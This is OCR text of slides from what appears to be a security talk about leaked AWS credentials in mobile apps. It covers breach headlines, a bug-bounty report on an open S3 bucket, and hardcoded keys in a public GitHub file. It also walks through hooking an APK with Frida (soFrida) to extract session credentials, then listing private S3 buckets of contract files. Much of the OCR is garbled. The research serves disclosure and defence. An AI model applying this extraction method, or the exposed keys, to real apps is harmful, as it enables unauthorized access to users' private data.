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AWS e Amazon
Lambda 53 DynamoDB
E i . ‘ :
Amazon Amazon Elastic Lead Auta Sealing

Mohile Analytica Machine Learning  Balancing

Identity Token (JWT)

Amazon Cognito User Pools
User Management
Sign up, Sign in

FERERE

Amazon AP| Gateway
@ Amazon Cognito User Pool Authorizer

AWS Lambda

Microservices

Hybrid Mobile App
JavaScript Framework

Amazon API Gateway
RESTful API

He:

Amazon CloudWatch Logs

Microservice Logging

Amazon DynamoDB
Datastore

AWS Identity and Access Management
Microservice roles and policies




BUT

How about
Security?
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UBER Warier

Fedtx 9

Is it OK
Uber TimeWarner FedEx now?
(2016) Cable (2018)
(2017)

AWS Account Hacked
Personal Information
of 57 Million users

4 Million Customer
Records Exposed

119,000 US Citizens'
Personal Information
Leaked
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Ransomwar!

AWS Cloud Storage Leak Affects 10,000
Users

Learn how the data of U.K. train commuters using the free Wi-Fi in Network Rail-managed stations was accidentally leaked. Also, over 200 millic

information on U.S. residents were exposed.

Unsecured AWS S3 Bucket Found Leaking
Data of Over 30K Cannabis Dispensary
Customers

January 27, 2020 (=]l ]n

Exposed AWS buckets again implicated in multiple
data leaks

A series of data leaks in the past week have once again implicated poorly secured
Amazon S3 buckets, which are supposed to be private by default
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@ Key Management Failure
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@ Cloud Permission Failure
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Monitoring Failure
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»E'\ InjectorPCA (injector404)

11 I m Open S3 Bucket WriteAble To Any Aws User

State @ Resolved (Closed)

Disclosed  March 30, 2017 8:22am +0900
Reported To  Ruby
Weakness  Improper Authentication - Generic

Bounty $500

Collapse
TIMELINE

injector404 submitted a report to Ruby.
Hi All,

root@injector:~# aws s3 1ls s3://rubyci
PRE aix71_ppc/
PRE
PRE
PR
PRE
PRE
PR
PR
PR

amazon/
arch/

m

archive/
armv8b/
c64b/
centos5-32/
centos5-64/
centos7/

m m m

95 - -1.00  49th 10.00 75th
Reputation  Rank Signal  Percentile Impact  Percentile
I Share:
Severity (I High (7 ~ 8.9)
Participants |4~/ (@
Visibility  Disclosed (Full)
Feb 27th (2 years ago)

I know that http://rubyci.s3.amazonaws.com # is used for file uploads on reports and so when i open your s3 bucket i able see all of your

public/private files i already see you fix this vulnerability but it not completely fixed

master +  Skypixel_lot

nlananllr\q L0

1 contributor

655 lines (555 sloc) 16.3 &3

s3(tablenane,

229 C xFA0)
xR E| 35

AN b M o

F0{(2171/227] 7}5)

AWS, con

jarvanxing / skypixel_lottery

ar bucketName

tery / www / public / main.js

tabledata, successCallback, errCallback) {
“static-skypixel-dbeta-ne";
tig.update({
accessKeyld: ‘AKIAIRKNYFZBHSS2COTA',
'5dV02uu/4DbnBykeBhGBOCAPPvAa T 1DBbSWT SxwP ',

‘us-west-2',

secretAccessKey
region

bucket: bucketName

1 *Star 0 YFork 1
Find file  Copy path
610618 on Jan 4, 2016

Blame

History J /

-
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Your Mobile App, Game or Device App

AWS Mobile SDK, APl Endpoints, AWS Management Console

o S
Lambda Amazon Cognito  Amazon Mobile Analytics Amazon SNS Mobile Push
Functions
® < @ W & ¢
AWS Lambda Amazon Kinesis DynamoDB S3 Transfer SQS Client Amazon SES
Recorder Mapper Manager Client
Compute Storage Networking Analytics Databases

AWS Global Infrastructure (Regions, Availability Zones, Edge Locations)
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File View Navigation Tools Help
R
:O0000_v8.27.2_apkpure.com.apk
Fle Source code

+#a.a.a
[+#android
#=androidx.
+#b.a.a.a
+#bo.app
#=bholts
## butterkni

1z

[=l= com
+#a.a

+#airbnb. lotti
Bidamazonaus]
+#auth

[+l handlers
+Hahttp

+# internal
+Hemetrics
+#mobileconnectors
+# regions

[+ retry

[+ services
+stransform
+Hsutil

[+@ AmazonClientException

[+@ AmazonServiceException
+© AmazonWebServiceClient
+1@ AmazonWebServiceRequest
[+/© AmazonWebServiceResponse
+@ ClientConfiguration

[+@ DefaultRequest
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private /% synthetic */ void a(String str, S3UploadInfo s3UploadInfo, final ac acVar) throws Exception {
AwsTemporaryToken awsTemporaryToken = s3UploadInfo.getAwsTemporaryToken();

String bucketName = s3UploadInfo.getBucketName();
-

I Sorong e aroJopooaarrayy,

AmazonS3 amazonS3Client = new AmazonS3Client(new BasicSessionCredentials(awsTemporaryToken.getAccessKeylId( ), awsTemporaryToken.getSecretAccessKey(

= El
str2 = MimeTypeMap.getSingleton().getMimeTypeFromExtension(g.a(thi
if (str2z == null) {
str2 = HttpPostBodyUtil.DEFAULT_BINARY_CONTENT_TYPE;
}

ObjectMetadata objectMetadata = new ObjectMetadata();
objectMetadata.f(str2);
final FileInfo fileInfo = new FileInfo(bucketName, a, str);
TransferUtility a2 = TransferUtility.a().a(amazonS3Client).a(this.c).a(
acVar.a(d.a(new -$$Lambda$a$z64CODIUWs0O_u®@7N-uyeN4dj20w(a2.a(bucketName,
public void a(int i, long j, long j2) {
}

H
a, this.b, objectMetadata, null, new TransferListener() {

public void a(int i, TransferState transferState) {
if (lacVar.a()) {

if (transferState == TransferState.COMPLETED) {
acVar.a(fileInfo);

} else if (transferState == TransferState.FAILED) {
acVar.a(new RuntimeException("aws upload failed"));

} else if (transferState == TransferState.CANCELED) {
acVar.a(new CancellationException());

}

Hooking point

¥

public void a(int i, Exception exception) {
acVar.b(exception);

¥
¥), a2)));

- AN 2R A& 2ot &=2t2] Wet0le gt= JF=2 X |
— https://github.com/june5079/soFrida
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[*] Return com.amazonaws.auth.BasicSessionCredentials.a [] -> [java.lang.String] : [java.lang.String]
ASIASEK3E6MUUSBHRJUG |

[*] Return com.amazonaws.auth.BasicSessionCredentials.b [] -> [java.lang.String] : [java.lang.String]
D7Zacgn9ouT1/Gounumri+w4m4jVUUYEsoPt+tTN]

[*] Return com.amazonaws.auth.BasicSessionCredentials.c [] -> [java.lang.String] : [java.lang.String]
FQoGZXIvYXdzEN/////11///wEaDH7yvPp0Tp4C4c5e8CKVAIIFydIroLWfiLFpOJil7opg16w8WxZ0UyGlddor/b
ng+6rPnHxUr+2jwiZ5nml|11K8jJ40jRchQfoCDT/QA9jja3hl72xFWIcof6kNRwlvXv9eSPsK3IVyjNECszFgdgf
2u/M4wUx/ht2hR2bM09kfO0bezIndnScF+Ib49ES3R8NxYx8A1P9003pT5IvVe2R9/ZgncycUYj+wYw1nCW
hxVomJfcAdh607SCcuXxr3PjMtT44i+aGUK62512hXcjzHJCJIK7DYkp68sItOB3FN+34JFwZydTQNCgfSY9Y]
2QTJIbkUmBdZWIdWSxmpww3YNjecddH4xXxNOGROJSz7OIZYXNIrimlyEtCm6sAdGnU7wSuUO7goto335QU

M All Access Keys Extracted

AN
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:02
:02
:06
:06
:07

1267294
2262738

1022818
23702853
850544
850266
2363402

june@JuneMacbook:~/Tools/soFrida$ aws s3 1s s3://***** /**xx*x**% /contract/
366013 contract.pdf
189136 contract.pdf

@

contract.pdf

_contract.pdf E"OI El
_contract.pdf
_contract.pdf
_contract.pdf

ontract.pdf
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A ] .C
con hyeonjun-ui-iMac:~-JunePark$-aws-configure -
AWS - Access -Key - ID - [ikictokioktokdokiookok TZEA ]+ - A
AWS-Secret -Access -Key - [HekkiciciickioickckokickAcU0 | & - 7 FRo NG 0 2 | PnRADYh j
Default-region-name- [us—east-1]: -us-west-1
Default-output-format: [None]:
hyeonjun-ui-iMac:~-JunePark$
hyeonjun-ui-iMac:~-JunePark$
hyeonjun—ui-iMac:~-JunePark$-aws-s3-1s-53:// i —

PRE -/

PRE -MGRegisterTicket/

PRE-_room_images/

PRE-_tradeshow_floor_maps/

PRE - app_d99ae545e6b869bca728ac@530fdac9f/

PRE - channel_1/

PRE - channel_110/

PRE - channel_113/

PRE-channel_114/

DRF.rhannal 110/

13
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App Store Number of potentially
Download Count Vulnerable Apps

+100,000,000 12
+50,000,000 12
+10,000,000 98 -

@® Critical : 53 Apps
+5,000,000 88 (30 of TM+ Downloads)
+1,000,000 318 @® Medium : 13 Apps

(12 of TM+ Downloads)
<1,000,000 2172
@ https://sofrida.github.io
Total 2700 (AN 2 Zaf &x)

date of collection : April 4, 2019 09:55 KS
Number of Analysis Target App : 4,000,000
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